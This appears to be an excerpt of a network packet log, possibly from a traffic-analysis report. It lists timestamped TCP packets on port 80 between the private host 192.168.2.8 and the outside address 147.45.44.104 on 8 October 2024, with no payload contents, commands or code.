Oct 8, 2024 03:23:05.351038933 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.351049900 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.351058006 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.351070881 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.351078987 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.351108074 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.374399900 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.374412060 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.374425888 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.374469995 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.374480009 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.374485016 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.374500036 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.374505997 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.374516964 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.374536037 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.374572039 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.378038883 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.378051043 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.378062963 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.378077984 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.378097057 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.378099918 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.378134966 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.378140926 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.378151894 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.378168106 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.378190041 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.378213882 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.378963947 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.378976107 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.378992081 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.379014969 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.379023075 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.379036903 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.379062891 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.379081964 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.379092932 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.379107952 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.379127979 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.379152060 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.379215002 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.379226923 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.379246950 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.379262924 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.379270077 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.379282951 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.379306078 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.379348993 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.379359961 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.379381895 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.379398108 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.379414082 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.380156994 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.380214930 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.380228043 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.380250931 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.380264044 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.380275011 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.380292892 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.380306005 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.380323887 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.380326033 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.380323887 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.380362988 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.381292105 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.381304979 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.381321907 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.381352901 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.381359100 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.381370068 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.381382942 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.381386995 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.381401062 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.381412029 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.381419897 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.381444931 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.382600069 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.382616043 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.382637978 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.382652998 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.382663012 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.382678986 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.382683992 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.382694960 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.382709026 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.382719040 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.382740974 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.382752895 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.383047104 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.383059978 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.383074999 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.383109093 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.383114100 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.383122921 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.383138895 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.383147001 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.383152962 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.383162975 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.383172035 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.383225918 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.383958101 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.383969069 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.383986950 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.383999109 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.384021044 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.384030104 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.384047985 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.384057999 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.384069920 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.384074926 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.384095907 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.384107113 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.385236025 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.385246992 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.385263920 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.385276079 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.385308981 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.385319948 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.385339975 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.385350943 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.385351896 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.385370016 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.385376930 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.385407925 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.386327028 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.386364937 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.386377096 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.386413097 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.386441946 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.386452913 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.386468887 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.386482954 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.386487007 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.386504889 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.388427019 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.388436079 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.388453007 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.388474941 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.388504028 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.388504028 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.388515949 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.388534069 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.388544083 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.388549089 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.388566971 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.388586998 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.390083075 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.390129089 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.390130043 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.390151024 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.390161037 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.390183926 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.390194893 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.390202045 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.390219927 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.390232086 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.390248060 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.390269041 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.392611980 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.392663002 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.392669916 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.392755032 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.392766953 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.392781973 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.392795086 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.392801046 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.392812967 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.392822981 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.392822981 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.392853975 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.398850918 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.398871899 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.398916006 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.398924112 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.398958921 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.398989916 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.399000883 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.399018049 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.399029016 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.399053097 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.399064064 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.399128914 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.437741041 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.437766075 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.437788010 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.437794924 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.437808037 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.437819958 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.437820911 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.437838078 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.437849045 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.437858105 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.437866926 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.437892914 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.487010956 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.647726059 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.647768021 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.647775888 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.647778988 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.647802114 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.647814989 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.647850990 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.647869110 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.647881031 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.647897959 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.647897959 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.647924900 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648180008 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648186922 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648202896 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648214102 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648220062 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648232937 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648240089 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648243904 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648262978 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648269892 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648303986 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648399115 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648410082 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648427963 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648447037 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648457050 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648468971 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648487091 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648493052 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648498058 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648516893 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648525000 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648529053 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648549080 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648551941 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648582935 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648732901 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648745060 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648762941 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648772955 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648780107 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648792028 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648802996 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648816109 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648817062 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648837090 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648845911 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648853064 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648864985 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648880005 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648895025 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648900032 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648905039 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648911953 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648926973 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648931980 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.648948908 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.648976088 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649049044 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649060011 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649076939 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649086952 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649092913 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649106979 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649116993 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649122953 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649142027 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649199963 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649213076 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649223089 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649236917 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649240971 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649256945 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649257898 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649276018 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649286032 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649291039 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649310112 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649321079 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649322033 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649339914 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649350882 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649353981 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649368048 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649378061 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649382114 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649398088 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649408102 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649413109 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649429083 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649441004 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649442911 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649462938 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649471998 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649477959 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649493933 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649503946 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649504900 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649523020 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649533033 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649538040 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649553061 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649561882 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649565935 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.649581909 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.649596930 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650022984 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650033951 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650052071 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650068045 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650074959 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650087118 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650088072 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650105000 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650115967 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650125027 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650132895 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650141954 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650156975 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650166988 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650171041 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650180101 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650197029 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650208950 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650222063 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650223970 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650242090 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650243998 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650254011 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650269032 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650276899 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650290012 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650300026 CEST	80	49706	147.45.44.104	192.168.2.8
Oct 8, 2024 03:23:05.650311947 CEST	49706	80	192.168.2.8	147.45.44.104
Oct 8, 2024 03:23:05.650319099 CEST	80	49706	147.45.44.104	192.168.2.8
